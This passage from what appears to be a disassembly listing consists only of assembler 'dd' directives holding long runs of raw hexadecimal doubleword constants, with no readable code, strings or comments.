5D17D62Ah, 9A75B490h, 0A22E0800h, 0C948B655h dd 6A5F0011h, 232F76E7h, 4F72AA02h, 1FD2AF05h, 98934601h dd 0CCDF9853h, 0D85C1219h, 548800A9h, 800AC15Fh, 0D628E883h dd 0E2AA40A8h, 24003598h, 0FBCC63B3h, 9345DFh, 0B4B7FD1Eh dd 0ED485740h, 3B711803h, 0B0F05586h, 309B322Eh, 11908122h dd 0A10128D5h, 0AA3FB42Ch, 8820ADF7h, 9B1A1CECh, 0F50E06FCh dd 8D02F87Ch, 0CD210C10h, 0B30540A3h, 0D0706Eh, 9C3EF2AAh dd 0A9E18FFh, 50CB9107h, 7C2053ABh, 0F8E3D7h, 763189A4h dd 0BC438F5h, 0AFF0E02h, 0C083DB68h, 3C09A60h, 5BFB63ECh dd 98C0F361h, 3D24BEF1h, 2F102416h, 7906580h, 0C4383934h dd 724B03A5h, 0B81A54DEh, 805D112Ah, 4C00BD7Bh, 6CC56F83h dd 355FF4Eh, 81B5158Fh, 0D0000359h, 0A9845C06h, 0C12EE5FBh dd 94557760h, 0BF97D06Dh, 24293B60h, 0E4BB9ACh, 0CFEEDE79h dd 66300076h, 0E0378839h, 2800D8B0h, 2C84AE05h, 63199001h dd 35E55059h, 808DDEC1h, 62DB8748h, 98557C3Fh, 0A6510704h dd 6C2021BFh, 0BB0012A1h, 0C258C484h, 147C8E7Dh, 0E3056082h dd 0FCCBB854h, 0BB55062Bh, 92B80D4Dh, 0FCA43C0Fh, 0A95E0E6h dd 9803F7h, 2352A884h, 58F1C196h, 249D2C00h, 0EBDBEEABh dd 992F006Ch, 90FD913Ah, 6A00830Fh, 1CF562AFh, 389F31h dd 6E657FD5h, 8D2B5909h, 0F4C62325h, 0E7DA00D1h, 7060EC97h dd 0B0268126h, 3F775E01h, 48C0AF5Bh, 0FE41D73h, 24DF0022h dd 9C70B176h, 6FB46104h, 0BC1A295h, 44283E7Bh, 0D57CE400h dd 0B21FC363h, 0BEA7DF0Eh, 1870A10Bh, 90DFC4B9h, 0FE48C01h dd 32257497h, 569A1C60h, 221E7962h, 90CAB60Bh, 5780F440h dd 0AD9EB943h, 2E72C2Ch, 5FFA80B4h, 794A2CEh, 560F3Ah dd 0DA7FCD6Eh, 0BE1227h, 665D87B1h, 448AEE4h, 4935D8A0h dd 1E5C9701h, 8199BD19h, 0EE199Dh, 44029BACh, 2500C075h dd 9DFF2DA4h, 0E642F2Bh, 8424F671h, 40E81CB3h, 41CE43C2h dd 444A496Eh, 9AE18802h dd 0FFCC85Dh, 0AF89008Ah, 0A6FD63A1h, 7D1E3357h, 0D684B0F3h dd 60B9F71Ah, 6890532Dh, 0C2308BF6h, 0DBD5CA6Ah, 12FA0FEAh dd 0DFC7628Ah, 85CFD06Dh, 0B4A87191h, 42182DA2h, 0B541A7E9h dd 0F9AC173Fh, 0EA7C00E8h, 50384EA1h, 0E154B3Ch, 0C9B3CBh dd 0BE13778Fh, 0CEB903F1h, 0C768C7Fh, 0CBB4CAB1h, 0BF161100h dd 7ACFB6CCh, 875008Dh, 9841F645h, 0E4258E07h, 908AB28h dd 5D9849ECh, 0D156F0h, 1A5ACE51h, 0EA7F0CFDh, 4E310A0h dd 71D18210h, 6628D330h, 20DEA3A6h, 8610A918h, 84D018A4h dd 0EC0120D5h, 99E6100h, 0C26F4264h, 35B51AAFh, 5A408186h dd 930E89DFh, 0AF5653Dh, 0FD0308EBh, 1CD557BDh, 9D35358h dd 7468C36Dh, 8096212Bh, 4CAA6B82h, 490588Ah, 2ADF65B5h dd 0AD123425h, 799092h, 0FBB84FB3h, 2CDBA800h, 3A491CA7h dd 48110004h, 0FAEF81E8h, 1A60E71Dh, 7EFB0839h, 634C00A2h dd 0E9D5BA78h, 0FE8A6CEh, 0A3C06D13h, 0FB0E2CC0h, 598406A0h dd 1801252Fh, 5E02E31Bh, 0E6ECB849h, 70D9298Dh, 0A348B3ACh dd 721209E0h, 753FC700h, 4C7A656Eh, 40A7974Ah, 0BD73406Fh dd 994B03E3h, 1CB23081h, 2BA80881h, 0F152FBB0h, 4B0480Ah dd 15E2D900h, 0A11EDA55h, 36E91D8Dh, 0ECD11494h, 8C338080h dd 2C38E4ECh, 0A938E034h, 97647685h, 0AEE77823h, 30A4C103h dd 0E0ED3BAAh, 770891BEh, 31D00077h, 81CD10E5h, 0E7309084h dd 492F3156h, 0F61A0F92h, 0DA6340E2h, 0B8B13733h, 5F6720E4h dd 7291C5Ch, 59FFFB18h, 0DB102713h, 1A3C82Bh, 3A8E0B41h dd 12808D0Eh, 0E536BE7Fh, 7703B20Ah, 9B3F746Ah, 0D7D163D4h dd 4C7C0771h, 0D544202Bh, 0C2001F48h, 4054E513h, 1938BCh dd 8A294161h, 7F8C63FEh, 778F6D50h, 0E955900h, 2B4E8B2Dh dd 8D851D23h, 12989DDFh, 8724E4D7h, 7FF96D1Dh, 5812C0E8h dd 3850D0E1h, 0CAA22F8h, 0A4056DD5h, 67004089h, 7254DF13h dd 734515Eh, 0AC934631h, 0C0D14397h, 9FA22DC0h, 0ECB9B32Ah dd 9647A500h, 0D9D38AD6h, 0C0B50758h, 90E0AFEDh, 0AC5741B4h dd 0F6006D78h, 527BA191h, 0FDFF0F9Bh, 0B05A80DCh, 3D8F03C3h dd 91E04C53h, 3FA7E0FFh, 4F0028BDh, 0EF0D576Dh, 7CFD979Eh dd 46A91DF3h, 4C528027h, 58CD2E0Bh, 0D91A500Dh, 0B3F171BCh dd 0EB044Bh, 44C4A7A9h, 0C3564FDCh, 107AB918h, 96E047E0h dd 0F60A8700h, 549A79F5h, 3DC004Ah, 0B8CB618Ah, 29C812A9h dd 9EEC42AAh, 2589FF22h, 0AE280823h, 24914B42h, 0FDBF202Bh dd 8C281AAh, 0C714A1FCh, 0F9A72841h, 84E62990h, 0B348925Dh dd 2EFA7F42h, 0E68D8490h, 2143EF48h, 0FEA12101h, 94A14A08h dd 0C618149Bh, 861251F2h, 25A3EA8Bh, 22640477h, 14364AEFh dd 90A0B908h, 0E8A98463h, 3E08215Fh, 845F90A2h, 4E48EB39h dd 0A000DDA6h, 0FA773797h, 0C9590040h, 7A410996h, 0A201ABF5h dd 54645D07h, 14F80FE5h, 0AF942E17h, 0C80C00CDh, 55E91BFFh dd 3900E073h, 77A06961h, 5E25EDh, 0E74496C3h, 97BAD349h dd 8F090771h, 56185Ah, 239F29ECh, 6713008Bh, 70AD6F9Dh dd 4D00525Eh, 1966087Eh, 79E740Ch, 36A8A7FEh, 940F9013h dd 8202EF03h, 6B520B2Ah, 0F00FE066h, 0CC540069h, 0D648FA89h dd 940065A9h, 210A8BA3h, 240328h, 0DB2F9CA2h, 0C8FA95B0h dd 60A32624h, 22F61380h, 380DEBh, 6E7FA0D0h, 59248469h dd 8A8F003h, 0A0F8993Eh, 7A94F231h, 2C400020h, 0C92534E9h dd 520282AEh, 0C4607FC1h, 938C4838h, 8D800051h, 46476E2Dh dd 6A00626Bh, 9473D15Dh, 75103C8Ah, 0AEC9Eh, 0F32FEB44h dd 0B9D1C7EAh, 157D00Fh, 8F2240BEh, 0E4DD14h, 937FE0B1h dd 0AFF8B519h, 0E8CB8900h, 6E2A81D8h, 0B64B1E80h, 839B81C4h dd 0EA84BD3Ah, 2771EEC0h, 918A9500h, 0D11B2230h, 0F223009Eh dd 9A15D381h, 2C00C9DDh, 343F7829h, 0CBCF04h, 50F27789h dd 2FB36A3h, 5D7C751Ch, 0D39387C0h, 1D85988Dh, 4F3AA1F3h dd 94211D04h, 0DC5D2DAAh, 0EF07B450h, 0F527EED1h, 9D80AE10h dd 17270BDh, 1183F1FFh, 308EBC7Fh, 0F400B3C4h, 0A142470Bh dd 6C582Ch, 857C4DC0h, 6F63D06Bh, 75C548h, 1ED34F97h, 0C8D287h dd 0E7B1A786h, 0F42D8E27h, 80BD6B3Ch, 3CBF5099h, 0E122E5h dd 0AEB5D848h, 7F1895A8h, 44456C00h, 29984FE9h, 39C30091h dd 0F3C19611h, 2228CFE5h, 0DBE3CC74h, 0C0C863A1h, 4F180737h dd 3E08E4D1h, 552E382Fh, 4C0B280h, 261D0C98h, 849F1B28h dd 487C0800h, 5DCD9153h, 0EBC9090Dh, 3E007FF3h, 333D87EAh dd 98124Dh, 2A93A81Fh, 90F627h, 0E1EFCCC0h, 0AAC80114h dd 30FCE70Ch, 779070h, 2E9723B0h, 75E0FBCBh, 9D82D51Dh dd 8340699Eh, 0F82C551Eh, 58EC00D8h, 194BCDCh, 440093F6h dd 0FCCA8CA7h, 3515Ah, 5B564374h, 0B4AE9CB2h, 3E23D900h dd 0C9BC459h, 4B7CA6h, 21A96AD5h, 0B1DA5B33h, 72AEF101h dd 79DC39E8h, 111630h, 593D553Ah, 4FC088Fh, 0FF91A02h dd 4044DFACh, 1CC385A8h, 4C5A5B7h, 808161F3h, 0EF27A700h dd 0EA0F78F0h, 0C0A0CBABh, 7F5FDE68h, 87860095h, 0EDA4939h dd 9F008D16h, 0DF4B3F9Dh, 340971h, 0A8F1783h, 82526A50h dd 1A0229F0h, 7F3F2419h, 0F8346847h, 0C9B11DACh, 3A94E477h dd 94C1CB80h, 0DD6848D7h, 83F30C05h, 0E0030A93h, 804CCD65h dd 986CC307h, 698400B8h, 0A655C101h, 28FE7F89h, 0F4C7D81Eh dd 3A97CBC0h, 731E24BBh, 0AC23007Eh, 95BDC4DEh, 2F006C37h dd 0E4E7DB0Bh, 0EEBE357h, 0EA56EDECh, 0FD08CFC0h, 40000A85h dd 308259C6h, 5C76E93Bh, 5500D241h, 0E1D89916h, 9203EDF0h dd 75E6DD73h, 8F2CA0ACh, 386F71FDh, 0FA07F715h, 103D4E33h dd 4B3830F2h, 622AA000h, 2EBED2A9h, 553C3D34h, 0AAF612h dd 683DBB34h, 20F16DB3h, 3F00B0E0h, 6167B51Eh, 0B96FDCh dd 3C6B425h, 0AA8E2362h, 0D07A8801h, 890786DDh, 1639420h dd 0C480EBCEh, 0EC8E3B48h, 511C8C7Ah, 6D40AF56h, 204EC0B0h dd 3D5E0FDh, 2D23FC5Dh, 0C1C83DD2h, 7E078F04h, 0A1BFE69Bh dd 2655F740h, 682801E0h, 0EC274FB6h, 2245306Eh, 1166C502h dd 40648B04h, 0D62191h, 5D265C97h, 0E205A0AAh, 71602201h dd 21CB1079h, 73865CCh, 0E462E32Fh, 397EB075h, 721F8D04h dd 70011A52h, 81BBBA8Bh, 0A9C60880h, 3FBEF5F3h, 2C9F0200h dd 9B512AABh, 6D40003Eh, 7698960Bh, 9202ECB6h, 4A43ED0Ah dd 0EED46036h, 7B461F52h, 0BADE81B8h, 0E4E82192h, 0B70970E0h dd 80C899EDh, 0D4C56274h, 0DCB312FFh, 5A125Eh, 0BA878074h dd 0A9006CC7h, 0CA0FE0DFh, 5971811h, 40E3E6ABh, 10A887F0h dd 0A9F4A5AFh, 23ED4C07h, 5BF06C35h, 868811h, 0EC6E0B29h dd 1CD0A3D4h, 0CC137498h, 28203919h, 0E085F98Bh, 1453711Fh dd 0E408C4AAh, 0D98D90Eh, 2F3249C1h, 21902011h, 0BB67F202h dd 61DD05C3h, 0BCD476FCh, 289F0013h, 0C2B4CC1Dh, 0AB008F24h dd 0D8D0A19Bh, 175C7A7h, 49D94AA4h, 0C8EDB5BAh, 0AA02FE1Dh dd 0F289C891h, 0FAF40DDh, 0C043003Ch, 61F03F9h, 0D300BCEBh dd 0BFFF9AA1h, 1A48DCFh, 0BEC96AF0h, 0D062396Fh, 4B00608Ah dd 69666371h, 0D66490h, 39BF2FB4h, 374FA279h, 0C8344900h dd 0C4BA4E80h, 1D31009Eh, 5AD6DA0Fh, 7D01D150h, 6A619188h dd 2670402Fh, 3E6970AFh, 5FBE8A6Eh, 0F400B9BBh, 36589CFDh dd 9B094EF1h dd 8045BEF3h, 0D7E26560h, 0A0250284h, 0BC60DE94h, 938F8848h dd 0CAF6C9h, 7ECB5388h, 7ADF007Ch, 0A91A27A6h, 760EAF7Bh dd 33DBF6Ch, 0D92E80ABh, 60308697h, 0DF117AAh, 710C4052h dd 0F8EFD26Fh, 81D3560Bh, 0AEB9803Ah, 0B9D81Ch, 6E837619h dd 0F05E1D91h, 0DA64400h, 5ADE6772h, 0B16F0357h, 0A5423C62h dd 0C05E29E1h, 331C32AEh, 6E5CDFCEh, 1D5BD541h, 75CC35A3h dd 88420336h, 5754E104h, 0BBF61B8h, 73845E00h, 0F7F86B6Ch dd 1B39003Dh, 0CE36F993h, 0D8050A05h, 8AAE9E0Ch, 0A2C22CC0h dd 0A8811F78h, 4795C1B1h, 0BA7D6A12h, 86DF8096h, 777F636Bh dd 1582000Fh, 0C01E17FEh, 0F860B980h, 7ED6E97Ch, 96FC2Ch dd 0F5C2F1FAh, 41E5721Dh, 9B2A2300h, 50D3D6A3h, 0BF090EFEh dd 6EA0B5E9h, 611C3DB9h, 4C56A900h, 0BE8C1127h, 294E0589h dd 8123AC70h, 0CC6573CBh, 3900A56Bh, 760FC318h, 0E9E823Fh dd 0D1D446C4h, 958D23C0h, 0D2007F8Fh, 64D09CDFh, 98A3A240h dd 8A0D106Ch, 3996B0D3h, 0F7F42C6Bh, 83FB00D0h, 322C2A91h dd 121A871Dh, 2E3A9B00h, 27F0Dh, 0CE4001B0h, 3DDA2BC9h dd 0D57D8800h, 0C57A7B38h, 0F26D0062h, 1385D756h, 2000A580h dd 4E65729Ah, 59E4B9h, 936C3010h, 3EEDDC7Eh, 0F0776628h dd 89DB3813h, 22D16807h, 1A2AA640h, 4C8A728Eh, 0F700B4DCh dd 797A0D2Dh, 50008FD3h, 83AAF94Ah, 798DACC6h, 2C1A0002h dd 56FA1938h, 2277EB33h, 0C91F7C90h, 8A0E524Fh, 0E542200Fh dd 3CB6849h, 5D1E0ABBh, 0F58867CEh, 0F1045427h, 3AE95AFBh dd 0FE2D2F80h, 0F0411EFAh, 3F0B8123h, 0C1D56213h, 1E7C2097h dd 51D68C11h, 215F6C0h, 28009B36h, 371CAB14h, 77C3932h dd 0AC2B057Bh, 3F6BF15Eh, 273830A2h, 3B0A1200h, 0C7F8F042h dd 9D85005Ch, 0ED867A04h, 0D8005244h, 881FB099h, 0B82E629Ch dd 7F310067h, 0B272BAABh, 2377CCC4h, 0ECFADD00h, 375885Bh dd 0BCFB0161h, 0C8E35C4Ah, 0BD906067h, 0E90081B8h, 953C8DFCh dd 46C29Dh, 0FB54D0CBh, 0A83F452h, 5D268479h, 9000F0AEh dd 5CD7CAB7h, 0F0C00F9h, 0E9E0B99Ch, 170BFC46h, 0BF9112h dd 0F57E8AA4h, 1D360324h, 0DC64F3A2h, 18214B98h, 7AF9B70Bh dd 70AB87DEh, 0F0C03194h, 946A699Ch, 982B4240h, 0A602B160h dd 0C4B68200h, 0AC255F6Bh, 6388A196h, 1FC561ECh, 87F23A80h dd 43787764h, 75880E76h, 28C09768h, 2F100F9Fh, 9C11C013h dd 0D7F2C78h, 8052F139h, 0DB8415ADh, 947B76FCh, 0D86B005Ch dd 713CA762h, 0C611C700h, 86380772h, 0F6C300D0h, 3F0CE622h dd 620995D3h, 61BC5E75h, 87303878h, 47A800D6h, 6B354278h dd 12174685h, 0D840F765h, 0F3A7DEB8h, 0C5010E88h, 79F8BD58h dd 2703BBC4h, 0B4EFCE6h, 0D0A6B036h, 0BC20FB25h, 0EA54B8ACh dd 18121123h, 51796022h, 34416471h, 8041E63Fh, 0D70C31E1h dd 40704F31h, 44C4FDBBh, 0D2870019h, 9CFA1EC7h, 0EC24DB4Dh dd 0EE1DFD48h, 800FD000h, 163CBD3h, 0C9099CC7h, 0CE69142Eh dd 735FD3C0h, 79F07800h, 0E3B8DF82h, 0D22300EBh, 0ECDE8BA2h dd 0CE13EA32h, 0C4000E6Ch, 0E42B804Ch, 0CC5900E6h, 0AC830307h dd 0FB00C3B4h, 93B8F5EEh, 87DD4Bh, 77C8C124h, 826B3C1Eh dd 0DCDE9950h, 0AEA17600h, 2F482102h, 0E4D9005Eh, 3B1BE869h dd 8E3B5103h, 285500A0h, 89197154h, 18A3002Bh, 1ECB3EA2h dd 0C50963DAh, 0C8F9219Eh, 7C075F28h, 0B25B00AAh, 0C7E925E7h dd 6C00278Ah, 9CF768FAh, 0C0B9FBh, 0A37D61A6h, 13E458D1h dd 0CAEDDCFBh, 0D0E9C201h, 62490E03h, 85DDD4h, 0C4BD14E2h dd 0F18C5D5Eh, 0CE090177h, 0C3AE2296h, 0C51EA880h, 80B448C8h dd 8B5CD130h, 83007F37h, 9851232Fh, 5BD017h, 76603D6Dh dd 140728A7h, 17D525Ch, 469804C7h, 104C6E86h, 8F690059h dd 999B4B8Ah, 0D70FF121h, 0E066A2C3h, 0DAA5493Ah, 20120002h dd 0A1A9B9EEh, 0A600E804h, 553EAAADh, 0DABF70h, 81E58D86h dd 0B7F53A35h, 0FE21DB02h, 0E1980990h, 0A83031B7h, 124DF804h dd 1D3DB017h, 55B98040h, 1FCBA51h, 14BA94Ch, 4F108A4h dd 2E20EDEBh, 77D20F42h, 0C9C0D706h, 0B92CC4Dh, 8917AB74h dd 54006ACAh, 73FAC148h, 24611D3Eh, 0BE2EC0C5h, 0CF82CB8h dd 0AEBDAC03h, 0C87469B3h, 739770h, 0EF7DE5DCh, 0E6A4B4C4h dd 8FB61309h, 0D2ACC065h, 304D2661h, 94F400ACh, 5A929663h dd 0A1984000h, 0A6AA97DFh, 0DB0B2h, 8CA9B1D9h, 63C3281Ch dd 38F65500h, 7C431596h, 14750569h, 0C0D53C2Fh, 8A93100Fh dd 0CF00F678h, 0BE6E3081h, 78F39DA4h, 0FB5EAD9h, 0BFC37BFAh dd 49EACA0h, 989E7CC7h, 8651803Ah, 714AE38Fh, 80B60031h dd 0BB4EF015h, 403C1DEh, 19A7D8Eh, 413000A2h, 3AFC454h dd 0F20231C5h, 68C1B92Dh, 87B842DFh, 1960A9E4h, 2C2491A8h dd 1C380Bh, 23EDB7E7h, 1E58C1EBh, 4E2D0F9Ch, 0AFFFA159h dd 40E204DAh, 1E4A383Fh, 814F240Dh, 2BC80FFCh, 7CC47010h dd 0AAAED502h, 0E06AD06Ch, 0B8EA05h, 3FFDA3C8h, 0C02184D6h dd 0A2980CB0h, 0F6013D72h, 0D701F0B8h, 0AADC5857h, 0CE9A0199h dd 4BD52183h, 0F46DD479h, 86438800h, 0EC2D3FBEh, 8A890EE6h dd 16A7930Ch, 1C40DF41h, 50B91027h, 2C8CF000h, 34D3A4F7h dd 6751F9Dh, 6FCF421Fh, 908E3C9Bh, 0F1DC0033h, 6A474411h dd 71705D00h, 364303E3h, 6E460125h, 2C302D8Fh, 0E153C019h dd 0FDDB5200h, 0BA030615h, 0C15B00C8h, 5A3B2793h, 9C58D8DDh dd 945601E8h, 4ABE61FEh, 9BDC30h, 0C3BAE496h, 2740F3D5h dd 68154507h, 8C4047CFh, 70FBC2h, 3126012Eh, 275380B7h dd 0D70CB1E0h, 0B03F6337h, 80B09409h, 2485D0CFh, 8B17A989h dd 0D407CA7Bh, 0B510A70Dh, 4B294E7h, 7AAE1B38h, 3BB8A063h dd 80B1023Bh, 0D47E4BA9h, 604094A5h, 4DDEB09Bh, 0AB7FB516h dd 41DD72Ch, 9AB05180h, 40F2BEE4h, 67006278h, 44E36C11h dd 84A46Eh, 0D7770C2Ah, 8C8A1D5Fh, 72550300h, 0DC5B51D3h dd 83FE02FAh, 0DD0B1234h, 0B1E33C40h, 0CC98F3F2h, 4807B2Ch dd 0E07D100h, 7D4BF63h, 72C4B967h, 99F93057h, 7F008336h dd 0F49CDDBCh, 0A0D7E1h, 49888D0h, 0BE2CE891h, 0C4BB7900h dd 0E5DEC997h, 0AFBF1267h, 23F701E7h, 70CB2E83h, 3E397F0Ch dd 445A8035h, 8CCA7E21h, 6A3A07F5h, 470552B1h, 89A3A094h dd 0C577B879h, 74E4980Eh, 2E0620F8h, 0F414B7E9h, 0AC709DFh dd 0DF494E2h, 938E7C01h, 3FCCF38Dh, 0B211015Ah, 510D2C20h dd 588CD88Fh, 390B53B8h, 5A77F77h, 3C1131Ch, 0D7E402CBh dd 963603C8h, 0FF3A1424h, 0ABC598C0h, 0E96DDC1Eh, 3E635F04h dd 9EA2008Fh, 0BAE96218h, 46730934h, 42EE33Ah, 8DD25BE0h dd 4C14239Eh, 2E96C658h, 0D7246492h, 80F2A70Eh, 0F323B62h dd 613A001Ch, 4F1E2457h, 0FF00F744h, 59C1B189h, 79FE66h dd 0DC9BBE9Eh, 3E191EE9h, 0FBDE5000h, 5F7463C7h, 4CBAD3h dd 89986E3Ah, 0B649C544h, 5266EE14h, 23080084h, 0F6D16110h dd 60AB4CDCh, 1AD72E0Ch, 0F07A7B1h, 10F1D586h, 4FBA0A0h dd 1D220058h, 394ECB35h, 16002146h, 6B435623h, 6475C8Dh dd 95AAB524h, 810138D4h, 0B1C9C41Fh, 0A83476F9h, 15220251h dd 480FD1A9h, 1D889482h, 67730160h, 0A3503B00h, 9989F222h dd 0FEBA009Fh, 374DEB44h, 9E37B2B7h, 1BA3A131h, 0E9210117h dd 19300B77h, 0F4B0408Ah dd 0C6003983h, 998F6CAFh, 60A0F084h, 0A71C38E1h, 90A8E581h dd 9FE803C8h, 0FBF36205h, 14907DB6h, 1F4DAE8h, 0A527FFCh dd 0C3E1C59Eh, 0AEB486A8h, 63D0A906h, 71A06Ah, 0F63E4EA2h dd 2596ABD1h, 0F4980563h, 0D8210026h, 484C0D97h, 0D6048577h dd 43F4230h, 46166CA8h, 0C6190089h, 827C07BAh, 5A293B01h dd 0FEBDE9EFh, 0AD00707Dh, 0B67B2758h, 25067CFFh, 87F47057h dd 921E48C8h, 32790074h, 71B77FD2h, 9008078h, 39585529h dd 126DBA64h, 42B0A3F7h, 0FE718F50h, 28BB0048h, 0F8E4ACA8h dd 6B63030Ah, 2C00C09Eh, 37557F04h, 78B52A2Fh, 0B4E92A90h dd 288487F4h, 27940028h, 0F5FFA28h, 6B00D758h, 0C1EA2A7h dd 0BA373Bh, 1FDEF895h, 0D99CDA2Dh, 0B6B36A00h, 0CB60F52Ah dd 0A6B450E8h, 5E440028h, 66F2C026h, 0B50018E2h, 47A6C2B8h dd 7DBEB173h, 0CEFD2494h, 61120190h, 0FC1D8BD4h, 9201B37Ah dd 76C7AF28h, 0A9F0A003h, 194419E4h, 7067116Dh, 0AF022123h dd 66607CB2h, 52C5683h, 4BBA61F1h, 60606E94h, 780570C5h dd 29567ADFh, 475E4E1h, 4D98015h, 484CF6E0h, 1AC35834h dd 11012071h, 26290F9Fh, 3C70FFFAh, 5E520473h, 4D2288h dd 631223ECh, 813900D2h, 1D89CAFDh, 46002FA8h, 61DF6471h dd 0FB7014Ch, 43CE3231h, 71EEC947h, 0E1FB7C29h, 0C55F2055h dd 75873C04h, 73815928h, 0B9311D63h, 2A94E000h, 999A0046h dd 29D9CDCBh, 55FC6538h, 8FFD960Fh, 51B26089h, 3B8C13F8h dd 1A00A79Fh, 9635261Fh, 17715A53h, 9DE46A0Fh, 7D3FA09Ch dd 8A908Eh, 5750FEF4h, 7EC57A36h, 73B35A07h, 0C02F2F76h dd 18533D3Bh, 13E52E63h, 50D38828h, 423FF900h, 15F5A69h dd 0F854F260h, 0C8CC5B19h, 0BD38CD6Fh, 78458016h, 0AE82127h dd 0F3093C3Eh, 0EB2FDC80h, 0F8F24131h, 44EE5B01h, 90D00512h dd 46BD6E00h, 0AF008491h, 780F2D86h, 25530A75h, 80F8C316h dd 54F0675Dh, 0AE001AFDh, 12453EF9h, 72D85DDh, 2C259255h dd 309EF0EAh, 1F494843h, 597D00E4h, 0ABA56DD7h, 0CAC21C78h dd 0D2F4C070h, 89CBEE47h, 0F78FB800h, 3182D03Fh, 610C1D1Bh dd 4FF24020h, 0EB12E80h, 0FEEF5D00h, 6579CB9Ch, 0E5CF0E13h dd 23E4AA4h, 74643D86h, 9C241CD0h, 7B973C9Dh, 19951900h dd 39B8625Fh, 2F80C86Eh, 6CDA6377h, 789AA76Ah, 35EBE100h dd 8DB49906h, 9F5D008Ch, 780E6223h, 5900C4D7h, 0FC8275DEh dd 0B8BF50h, 0F07AD2F1h, 70473867h, 6C26DDECh, 0B873706Fh dd 585ADFB2h, 0F602654Fh, 1D400701h, 227638C8h, 2DA81005h dd 8493F34Ah, 0A37D92Ah, 39240464h, 0EE8382E5h, 1873662h dd 0BA6395A8h, 4198C9E4h, 2193E0Ah, 0E69AD4A2h, 59880194h dd 0F034AE27h, 63801161h, 626602C7h, 0C55B3C97h, 5425005Ch dd 6B4A225Eh, 0C08A4Ch, 8C9FCFBBh, 13C53992h, 0C173B45Bh dd 0E84FAD0Ch, 83602E45h, 3A3EAA59h, 0B41A7315h, 0D1930ECh dd 573D51C5h, 0C28CCC27h, 0C26E3E52h, 0E9E84010h, 0A130000Ah dd 0C988EA66h, 0D0DE9677h, 50C08A96h, 3785F6h, 0CF8C9111h dd 52436261h, 6F00A0B2h, 2DAA1523h, 285C1E9Ah, 44807566h dd 1D00AEABh, 44FBBA12h, 0D30948EAh, 553C3040h, 3006EC6h dd 0C8605B58h, 4594CC5h, 7BD4BEC9h, 0F080D282h, 38A0F066h dd 0B2228C6Ah, 575009Bh, 0A15BA1Dh, 0C8A8AE8Fh, 1E0073A1h dd 87938364h, 903CED5h, 7A796E34h, 92FCF880h, 6D01DDB3h dd 0CBC8E660h, 0E5301953h, 0FB061428h, 0C44DC857h, 0F834622Ch dd 0FB603E7Dh, 0AA2E3579h, 22F6262Ah, 9A440008h, 0AE0B82DCh dd 8EB3683Bh, 0E05896C8h, 5F60FCAh, 0B8E40B89h, 1D00F0C7h dd 0A2946122h, 8F16AF3Ah, 20978CDEh, 39C5543Ah, 6C860F9Bh dd 407D60D8h, 311729A9h, 2E169E76h, 8CD00C2Ah, 0F07F69DDh dd 0B3810016h, 44AF1C39h, 0F0BE9322h, 0F23ADD00h, 3010FEEEh dd 6511A83Fh, 0A603B41Dh, 28D9AB3Eh, 40BAB017h, 855D009Bh dd 7CB155DBh, 50B0F12Ch, 8C7F0A2Ah, 35063FDh, 16CC53BCh dd 841102AAh, 0B97B3846h, 6D6A7020h, 0EF7C0010h, 0CD4A025Eh dd 0DB005494h, 17E4BCEAh, 0B2F90BDEh, 6C423Ch, 49581E89h dd 1D328C84h, 623065h, 5BDFA59Bh, 43047F63h, 0AC716738h dd 0B0430C0h, 0CB44008Dh, 0E754CA0Ch, 0E000D650h, 99A338ECh dd 0FC5DBD2Ch, 53242E39h, 4AB80371h, 6898EA1Dh, 860063B2h dd 6E282B87h, 703AA5DCh, 47A10070h, 5261821Fh, 2500ACF8h dd 21641931h, 38E43D43h, 0D8008158h, 106A1A7Bh, 83007434h dd 1F1C18D4h, 7C6CC2AEh, 0A032B09Ah, 0A8B2F6h, 0DAC47AFDh dd 0BCA64F80h, 0EB93C300h, 0CE85E613h, 0EC347BF4h, 0B50C0006h dd 749A0151h, 7BF4B44Eh, 0ACA52900h, 1D2825ADh, 0C11C00AFh dd 622B509Fh, 3500C979h, 0DFA74841h, 0B875A66Bh, 0C169026Bh dd 5D9D3425h, 0C543E080h, 4000BFFh, 58CFBD02h, 0D95C7h dd 0D6A4191Eh, 1FEB8D41h, 1ADABA00h, 43203136h, 2F753868h dd 3B380077h, 298386ACh, 9400C3BDh, 8C7AB866h, 14CDC9h dd 0CF5F6C58h, 64128834h, 7FC76F00h, 241B9D8Ah, 7E70C057h dd 22049895h, 1D5E4900h, 0B63D5379h, 4ACF284h, 0C1E0A0D4h dd 556C82B0h, 18B290CBh, 2C76A10h, 4FDB9B96h, 1C6992FFh dd 73DC72DFh, 1863D624h, 0AF021600h, 0DDC7ECh, 0DA97DE2Ah dd 564BDB7Ah, 0A70079F2h, 30A4E280h, 704CCF2h, 15208791h dd 0A550F3EBh, 0EFBF1800h, 839FE0F8h, 88B049h, 0A922472Eh dd 1AB5F997h, 14123771h, 14006AE9h, 8436E877h, 0BC8A284Dh dd 3EE000F2h, 0B6D44AECh, 510280BDh, 2D2A8887h, 9694489Dh dd 0C05D121Fh, 5293004Ch, 7286207Ah, 0C86F8101h, 0F9A7B712h dd 13158C4h, 3D55D4B3h, 60F04C40h, 1B01CFBFh, 69E6D343h dd 16C8666Ch, 0BFE7001Ch, 9B3691AEh, 0A91C0C26h, 34C0CC8Eh dd 0C4688378h, 91881361h, 0CF9C00AAh, 3D054A19h, 570020E4h dd 9AA5393Bh, 125A4277h, 5E26ACh, 0B9E19020h, 9802FF86h dd 0FC7B99B4h, 58E8583Fh, 48A054D4h, 0FC2CBA74h, 3B81B439h dd 6963E484h, 3F6F5870h, 7D01A69Bh, 53E3891Ah, 81E42CBFh dd 0B2B69C2Bh, 2507F7C8h, 7C0144E0h, 0F41AE3E8h, 1B000608h dd 4EDADDF9h, 5052E0A9h, 4B4A881h, 8FB3A298h, 7CFCFBh dd 0FA6C5995h, 39057E43h, 81800FDBh, 88D1B5EDh, 0B7005E2Fh dd 0CDE35CC6h, 0D534E1h, 0C4B41A44h, 0D930EF9Fh, 60395930h dd 54A2F08Eh, 1C88DCB1h, 31D3E372h, 3F2D1CE1h, 4B6E08F0h dd 0F7867F3h, 1F102C60h, 53014DD6h, 8C83526Bh, 3C60F2F3h dd 6356449Ch, 2BA140C0h, 70E6D5Bh, 15407A66h, 2C9DC3B9h dd 0ADF46102h, 0A09A3A38h, 916A1FB8h, 54B2B9h, 6D7B274Fh dd 0B51C25A6h, 4B57293Eh, 82D10009h, 0EA1B5B64h, 83A8C50Ch dd 0EEE06B2Fh, 352DE4B0h, 0A62A321Ah, 11DC00A8h, 2C6BA099h dd 3DECD149h, 44041CA5h, 0BB28E002h, 7E020CBBh, 48C26E6Dh dd 0E671AFFCh, 52222459h, 63F70084h, 2C758583h, 6113Bh dd 